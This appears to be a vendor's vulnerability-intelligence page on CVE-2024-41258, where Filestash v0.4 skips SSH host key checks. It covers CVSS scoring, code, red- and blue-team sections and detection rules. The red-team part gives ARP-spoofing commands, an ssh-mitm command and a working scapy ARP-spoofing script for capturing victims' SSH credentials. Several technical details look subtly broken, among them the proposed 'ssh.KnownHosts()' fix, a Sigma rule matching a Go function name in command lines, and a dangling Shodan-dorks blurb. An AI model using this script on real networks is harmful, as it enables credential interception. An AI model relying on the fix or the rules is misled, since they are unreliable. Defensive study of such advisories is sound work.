CVE-2024-41258
Executive Summary
CVE-2024-41258 affects Filestash v0.4, an open-source file management application. The vulnerability arises from the use of ssh.InsecureIgnoreHostKey() in the Go-based SSH client, which disables SSH host key verification. This allows an attacker positioned on the network (e.g., via ARP spoofing, rogue Wi-Fi, or compromised router) to perform a man-in-the-middle (MITM) attack. By intercepting the SSH handshake, the attacker can capture credentials, session data, or files transferred over the SSH connection. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate (CVSS 5.9) given the need for network access and the potential for credential theft.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Filestash is a Go-based application. The vulnerable dependency is the golang.org/x/crypto/ssh package, specifically the InsecureIgnoreHostKey callback. This is not a supply chain compromise but a deliberate insecure configuration by the developer. No known malicious packages or backdoors are associated with this CVE.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (AV:N) – attacker must be on the same network segment.
- Attack Complexity (AC): High (AC:H) – requires MITM positioning and active interception.
- Privileges Required (PR): None (PR:N) – no authentication needed to exploit.
- User Interaction (UI): None (UI:N) – no user action required beyond normal use.
- Scope (S): Unchanged (S:U) – exploitation does not cross trust boundaries.
- Confidentiality (C): High (C:H) – full disclosure of SSH session data.
- Integrity (I): None (I:N) – attacker cannot modify data.
- Availability (A): None (A:N) – no impact on availability.
Threat Level: Medium. Exploitation requires network proximity and active MITM capability, but the impact on confidentiality is severe.
Deep Dive & Mechanics
Filestash uses the golang.org/x/crypto/ssh library to establish SSH connections to remote servers. In v0.4, the SSH client configuration includes:
ssh.ClientConfig{
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
This disables the standard host key verification process. Normally, the SSH client would compare the server's host key against a known hosts file or prompt the user. With this setting, the client accepts any host key presented by the server, including one from an attacker.
Attack Flow:
- Attacker gains MITM position (e.g., ARP spoofing on LAN, rogue access point).
- Victim's Filestash initiates an SSH connection to a legitimate server.
- Attacker intercepts the TCP handshake and presents their own SSH host key.
- Filestash accepts the key due to
InsecureIgnoreHostKey(). - Attacker decrypts and forwards traffic, capturing credentials and data.
Vulnerable vs. Patched Code
Vulnerable (v0.4):
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{ssh.Password(password)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
Patched (hypothetical fix):
knownHosts := ssh.KnownHosts()
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{ssh.Password(password)},
HostKeyCallback: knownHosts,
}
The patched version uses ssh.KnownHosts() which loads the user's known_hosts file and verifies the server's host key against it. If the key is unknown or mismatched, the connection is rejected.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Attacker machine on same network as victim (e.g., Kali Linux).
- Ability to perform ARP spoofing (e.g.,
arpspooffrom dsniff). - SSH server to act as legitimate target (e.g.,
ssh-server).
Steps:
- Enable IP forwarding on attacker machine:
echo 1 > /proc/sys/net/ipv4/ip_forward - ARP spoof victim and target:
arpspoof -i eth0 -t <victim_ip> <target_ip> arpspoof -i eth0 -t <target_ip> <victim_ip> - Use
mitmproxyor custom script to intercept SSH traffic. Since SSH is encrypted, the attacker must present a fake host key. Usessh-mitmtool:ssh-mitm server --remote-host <target_ip> --remote-port 22 - Victim connects to target via Filestash; attacker captures credentials.
Exploit Code (Python using scapy for ARP spoofing):
#!/usr/bin/env python3
import sys
import time
from scapy.all import *
def arp_spoof(victim_ip, target_ip, iface):
victim_mac = getmacbyip(victim_ip)
target_mac = getmacbyip(target_ip)
packet_victim = ARP(op=2, pdst=victim_ip, hwdst=victim_mac, psrc=target_ip)
packet_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=victim_ip)
while True:
send(packet_victim, iface=iface, verbose=0)
send(packet_target, iface=iface, verbose=0)
time.sleep(2)
if __name__ == "__main__":
arp_spoof(sys.argv[1], sys.argv[2], sys.argv[3])
Blue Team (Detection & Hardening)
Detection:
- Monitor for ARP spoofing using
arpwatchor IDS rules. - Look for SSH connections with unexpected host keys (e.g.,
ssh -voutput showing "Warning: Permanently added 'host' (RSA) to the list of known hosts" when it should be known). - Use network flow analysis to detect MITM patterns (e.g., asymmetric TCP RTT).
Hardening:
- Update Filestash to a version that uses proper host key verification.
- If patching is not possible, use a VPN or SSH tunneling with strict host key checking.
- Implement network segmentation to limit MITM attack surface.
Indicators of Compromise (IOCs)
- Network: ARP cache poisoning (multiple MAC addresses for same IP).
- SSH Logs:
ssh: host key mismatchwarnings (if any logging is enabled). - File Integrity: Unexpected changes to
known_hostsfile. - Process:
ssh-mitmor similar MITM tools running on network. - Traffic: SSH connections with unusually low latency or asymmetric RTT.
Detection Engineering
YARA Rule
rule CVE_2024_41258_Filestash_InsecureSSH {
meta:
description = "Detects Filestash v0.4 binary with InsecureIgnoreHostKey"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:example"
strings:
$s1 = "InsecureIgnoreHostKey" ascii wide nocase
$s2 = "ssh.ClientConfig" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2024-41258 - Filestash Insecure SSH Host Key Verification
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSH connections where host key verification is disabled (InsecureIgnoreHostKey)
author: Valters IT
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/filestash'
CommandLine|contains: 'InsecureIgnoreHostKey'
condition: selection
falsepositives:
- Legitimate testing environments
level: high
Suricata Rule
alert tcp any any -> any 22 (msg:"CVE-2024-41258 - Potential MITM via Insecure SSH Host Key"; flow:to_server; content:"SSH-2.0-"; depth:7; content:"filestash"; nocase; within:100; reference:cve,2024-41258; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Disable Filestash SSH functionality until a patch is applied.
- Use an alternative file transfer method (e.g., SFTP with strict host key checking).
Long-term:
- Apply vendor patch when available (currently none).
- Fork the repository and replace
InsecureIgnoreHostKey()withssh.KnownHosts(). - Implement network-level controls (e.g., 802.1X, IPsec) to prevent MITM.
Workaround:
- Configure Filestash to use HTTPS instead of SSH for file transfers.
- Use SSH config with
StrictHostKeyChecking yeson the client side.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.